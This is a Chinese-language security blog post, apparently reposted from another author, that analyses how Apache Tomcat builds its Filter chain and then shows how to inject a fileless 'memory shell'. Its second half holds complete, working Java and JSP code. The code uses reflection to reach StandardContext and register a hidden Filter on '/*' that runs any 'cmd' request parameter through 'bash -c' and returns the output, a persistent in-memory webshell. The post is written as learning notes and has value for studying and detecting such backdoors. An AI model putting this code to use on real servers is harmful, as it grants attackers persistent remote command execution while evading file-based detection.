java安全-tomcat下的filter内存马分析

admin 2022年4月23日02:25:19java安全-tomcat下的filter内存马分析已关闭评论37 views字数 9526阅读31分45秒阅读模式

0x00 什么是内存马?

内存马又名无文件马,见名知意,指的是无文件落地的webshell.

传统的Webshell都是基于文件类型的,黑客可以利用上传工具或网站漏洞植入木马,区别在于Webshell内存马是无文件马,利用中间件的进程执行某些恶意代码,不会有文件落地,给检测带来巨大难度。

目前安全行业主要讨论的内存马主要分为以下几种方式:

  • 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
  • 动态注册 interceptor/controller(使用框架如 spring/struts2)
  • 动态注册使用**职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
  • 使用 java agent 技术写入字节码

本文只分析tomcat下filter型的内存马。

0x01 前置知识

1. Servlet

Servlet是在 Java Web容器中运行的小程序,通常我们用Servlet来处理一些较为复杂的服务器端的业务逻辑。ServletJava EE的核心,也是所有的MVC框架的实现的根本!

2. Filter

javax.servlet.FilterServlet2.3新增的一个特性,主要用于过滤URL请求,通过Filter我们可以实现URL请求资源权限验证、用户登陆检测等功能。

Filter的配置类似于Servlet,由<filter><filter-mapping>两组标签组成,如果Servlet版本大于3.0同样可以使用注解的方式配置Filter。

3. Tomcat

Tomcat 是 Web 应用服务器,是一个 Servlet/JSP 容器,Tomcat 作为 Servlet 的容器,能够将用户的请求发送给 Servlet,并且将 Servlet 的响应返回给用户,Tomcat中有四种类型的Servlet容器,从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine,实现类为 org.apache.catalina.core.StandardEngine
  2. Host,实现类为 org.apache.catalina.core.StandardHost
  3. Context,实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper,实现类为 org.apache.catalina.core.StandardWrapper

一个engine可以对一个多个host,也就是虚拟主机,一个host可以对应多个context,也就是web应用,一个context对应多个wrapper,Wrapper 主要负责管理 Servlet ,包括的 Servlet 的装载、初始化、执行以及资源回收。

java安全-tomcat下的filter内存马分析

0x02 Tomcat下Filter实现流程分析

在利用Filter注入内存马之前,先了解Tomcat是怎么实现Filter功能的。

分析之前可以先了解下几个比较重要的类及功能。

*FilterDefs:存放FilterDef的数组 ,FilterDef* 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息

*FilterConfigs:存放filterConfig的数组,在 FilterConfig* 中主要存放 FilterDef 和 Filter对象等信息

*FilterMaps:存放FilterMap的数组,在 FilterMap* 中主要存放了 FilterName 和 对应的URLPattern

*FilterChain*:过滤器链,该对象上的 doFilter 方法可以让 Filter 链上的当前过滤器放行,使请求进入下一个 Filter,Filter和FilterChain密不可分, Filter可以实现依次调用正是因为有了FilterChain

*WebXml*:存放 web.xml 中内容的类

*ContextConfig*:Web应用的上下文配置类

*StandardContext*:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper

*StandardWrapperValve*:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

*ApplicationFilterChain*:调用过滤器链

*ApplicationFilterConfig*:获取过滤器

*ApplicationFilterFactory*:组装过滤器链

再说下大概的流程,好对接下来的分析操作有一定认知:

  1. 根据请求的URL从FilterMaps 中找出与 URL 对应的 Filter name
  2. 根据 Filter name去 FilterConfigs 中寻找对应名称的 FilterConfig
  3. 把 FilterConfig 添加到 FilterChain中,返回 FilterChain
  4. filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

我们Filter的配置在web.xml中,那作为容器的tomcat肯定需要先解析web.xml,拿到那些设置的数据,

这个操作主要在org\apache\catalina\startup\ContextConfig#webConfig中,通过 org\apache\catalina\deploy\WebXml#configureContext 解析 web.xml 然后返回 webXml 实例

java安全-tomcat下的filter内存马分析

那对于要说的内存马注入并不是重点,所以我们先跳过他。

我们关注org\apache\catalina\core\StandardWrapperValve,在这里会进行FilterChain的组装操作。

java安全-tomcat下的filter内存马分析

跟进createFilterChain,createFilterChain就是创建FilterChain的方法,我们针对这个流程分析下。(注释内容

```
public ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {
       DispatcherType dispatcher = null;
       if (request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE") != null) {
           dispatcher = (DispatcherType)request.getAttribute("org.apache.catalina.core.DISPATCHER_TYPE");
      }

String requestPath = null;
       Object attribute = request.getAttribute("org.apache.catalina.core.DISPATCHER_REQUEST_PATH");
       if (attribute != null) {
           requestPath = attribute.toString();
      }

if (servlet == null) {
           return null;
      } else {
           boolean comet = false;
           ApplicationFilterChain filterChain = null;
           if (request instanceof Request) {
               Request req = (Request)request;
               comet = req.isComet();
               if (Globals.IS_SECURITY_ENABLED) {
                   filterChain = new ApplicationFilterChain();
                   if (comet) {
                       req.setFilterChain(filterChain);
                  }
              } else {
                   filterChain = (ApplicationFilterChain)req.getFilterChain();
                   if (filterChain == null) {
                       filterChain = new ApplicationFilterChain();
                       req.setFilterChain(filterChain);
                  }
              }
          } else {
               filterChain = new ApplicationFilterChain();
          }

filterChain.setServlet(servlet);
           filterChain.setSupport(((StandardWrapper)wrapper).getInstanceSupport());
           //调用 getParent 获取当前 Context (即当前 Web应用)
           StandardContext context = (StandardContext)wrapper.getParent();
           //从context中获取filterMaps
           FilterMap[] filterMaps = context.findFilterMaps();
           
          //从filterMaps中找过滤器,如果web.xml中配置了过滤器,则继续向下。没有则退出
           if (filterMaps != null && filterMaps.length != 0) {
               //获取Servlet的名字
               String servletName = wrapper.getName();

int i;
               ApplicationFilterConfig filterConfig;
               boolean isCometFilter;
               //遍历FilterMaps 中的 FilterMap,如果发现符合当前请求 url 与 FilterMap 中的 urlPattern 想匹配,就会进入 if 判断会调用 findFilterConfig 方法在 filterConfigs 中寻找对应 filterName名称的 FilterConfig,然后如果不为null,就进入 if 判断,将 filterConfig 添加到 filterChain中,跟进addFilter函数
               for(i = 0; i < filterMaps.length; ++i) {
                   if (this.matchDispatcher(filterMaps[i], dispatcher) && this.matchFiltersURL(filterMaps[i], requestPath)) {
                       filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMaps[i].getFilterName());
                       if (filterConfig != null) {
                           isCometFilter = false;
                           if (comet) {
                               try {
                                   isCometFilter = filterConfig.getFilter() instanceof CometFilter;
                              } catch (Exception var18) {
                                   Throwable t = ExceptionUtils.unwrapInvocationTargetException(var18);
                                   ExceptionUtils.handleThrowable(t);
                              }

if (isCometFilter) {
                                   filterChain.addFilter(filterConfig);
                              }
                          } else {
                               filterChain.addFilter(filterConfig);
                          }
                      }
                  }
              }
          } else {
               return filterChain;
          }
      }
  }
```

这个filterchain组装完后,回到org.apache.catalina.core.StandardWrapperValve,调用 filterChain 的 doFilter 方法,就会依次调用 Filter 链上的 doFilter方法

java安全-tomcat下的filter内存马分析

跟进dofilter方法

java安全-tomcat下的filter内存马分析

继续跟进internalDoFilter方法

//以下是大致流程
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
       //n代表着过滤器链有多少过滤器,pos代表执行到哪个过滤器了。
       if (this.pos < this.n) {
       //获取过滤器配置
           ApplicationFilterConfig filterConfig = this.filters[this.pos++];
           Filter filter = null;
       try {
           filter = filterConfig.getFilter();
          ...
      }catch{
          ...
            //执行过滤器
            filter.doFilter(request, response, this);
      }
//最终结束调用

至此,结束了过滤器的调用。

0x03 内存马注入

从上面的流程可以看出来,存在漏洞利用可能的地方在于internalDoFilter中会执行过滤器中的doFilter方法。

如果我们能自定义一个过滤器,并写入恶意的doFilter方法,则可以执行代码。

那我们可以这样,我们自己创建一个FilterMap,并放到FilterMaps的最前面,当 urlpattern 匹配的时候就会去找到对应 FilterName 的 FilterConfig ,然后将其添加到 FilterChain 中,最终通过internalDoFilter触发我们的内存shell。

那FilterMap是从context中获取的,我们怎么获取context呢?

java安全-tomcat下的filter内存马分析

如果我们可以获得request,那么我们可以通过pagecontext来获取context。

将 ServletContext 转为 StandardContext 从而获取 context

当 Web 容器启动的时候会为每个 Web 应用都创建一个 ServletContext 对象,代表当前 Web 应用

```
// 伪代码
ServletContext servletContext = request.getSession().getServletContext();
   Field appctx = servletContext.getClass().getDeclaredField("context");
   appctx.setAccessible(true);
   // ApplicationContext 为 ServletContext 的实现类
   ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
   stdctx.setAccessible(true);
   // 这样我们就获取到了 context
   StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
```

那如果我们获取不到request呢,根据**Skay师傅的文章,我们也可以通过Mbean和三梦师傅的方法来获取,目前我还没弄明白。放出链接

https://paper.seebug.org/1441/#3threade3amcontext

context中有三个参数与filter有关,filterConfigsfilterDefsfilterMaps,我们如果能控制这三个,说不定可能我们就可以注入内存马。

那我们需要怎么控制呢,这里也涉及到了反射的知识。

大致流程:

  1. 我们需要有用FilterDef封装一个恶意的filter
  2. 将此FilterDef存放到FilterDefs和FilterConfig中。
  3. 利用FilterDefs和FilterConfig创建filterMap,并存放到FilterMaps的最前面

为什么内存马可以一直留着?

是因为每次请求createFilterChain方法会生成一个过滤链FilterChain,而StandardContext又会一直保留到Tomcat生命周期结束,这条链不会结束,所以内存马可以一直保存到Tomcat关闭。

所以按照流程,我们可以写下这些代码

```
//from wjlshare师傅

//首先先创建FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
// 首先判断名字是否存在,如果不存在我们就进行注入
 if (filterConfigs.get(name) == null){
       // 创建恶意 Filter
       Filter filter = new Filter() {
           //覆写init方法
           @Override
           public void init(FilterConfig filterConfig) throws ServletException {
          }
//我们要执行的恶意命令,这里做成马
           @Override
           public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
               HttpServletRequest req = (HttpServletRequest) servletRequest;
               if (req.getParameter("cmd") != null){
                   byte[] bytes = new byte[1024];
                   Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                   int len = process.getInputStream().read(bytes);
                   servletResponse.getWriter().write(new String(bytes,0,len));
                   process.destroy();
                   return;
              }
               filterChain.doFilter(servletRequest,servletResponse);
          }

@Override
           public void destroy() {

}

};

/*
        * 创建一个FilterDef 然后设置我们filterDef的名字,和类名,以及类
       
/
       FilterDef filterDef = new FilterDef();
       filterDef.setFilter(filter);
       filterDef.setFilterName(name);
       filterDef.setFilterClass(filter.getClass().getName());

// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
       standardContext.addFilterDef(filterDef);

/
        * 创建一个filtermap
        * 设置filter的名字和对应的urlpattern
        /
       FilterMap filterMap = new FilterMap();
       filterMap.addURLPattern("/
");
       filterMap.setFilterName(name);
           // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
       filterMap.setDispatcher(DispatcherType.REQUEST.name());
       /

        * 将filtermap 添加到 filterMaps 中的第一个位置
        */
       standardContext.addFilterMapBefore(filterMap);

/*
        * 利用反射创建 FilterConfig,并且将 filterDef 和 standardCtx(即 Context)作为参数进行传入
       
/
       Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
       constructor.setAccessible(true);
       ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
```

但是这里有个局限,这里用了javax.servlet.DispatcherType 类,是servlet3之后引入的,而Tomcat7以上才支持Servlet3.

所以注入的内存马可以写成这样

```
//from wjlshare师傅

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%    final String name = "KpLi0rn";    ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
   appctx.setAccessible(true);
   ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
   stdctx.setAccessible(true);
   StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
   Configs.setAccessible(true);
   Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
       Filter filter = new Filter() {
           @Override
           public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
           public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
               HttpServletRequest req = (HttpServletRequest) servletRequest;
               if (req.getParameter("cmd") != null){
                   byte[] bytes = new byte[1024];
                   Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                   int len = process.getInputStream().read(bytes);
                   servletResponse.getWriter().write(new String(bytes,0,len));
                   process.destroy();
                   return;
              }
               filterChain.doFilter(servletRequest,servletResponse);
          }

@Override
           public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
       filterDef.setFilter(filter);
       filterDef.setFilterName(name);
       filterDef.setFilterClass(filter.getClass().getName());
       /*
        * 将filterDef添加到filterDefs中
       
/
       standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
       filterMap.addURLPattern("/*");
       filterMap.setFilterName(name);
       filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
       constructor.setAccessible(true);
       ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
       out.print("Inject Success !");
  }
%>
```

我们先访问这个jsp文件,注入成功后,我们再执行命令会发现,就不需要文件了。

java安全-tomcat下的filter内存马分析

java安全-tomcat下的filter内存马分析

0x04 总结

首先,这篇只是基础知识,真实利用肯定不会这样,因为还需要先能上传jsp,就会有很多限制,而之后结合了反序列化,利用方式就变得多样了起来。

其次,最后提到的内存马,Tomcat7之上才有用,而其他版本的在此也没提到。

之后有机会我会继续学习探究。

参考链接:

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:25:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   java安全-tomcat下的filter内存马分析https://cn-sec.com/archives/917272.html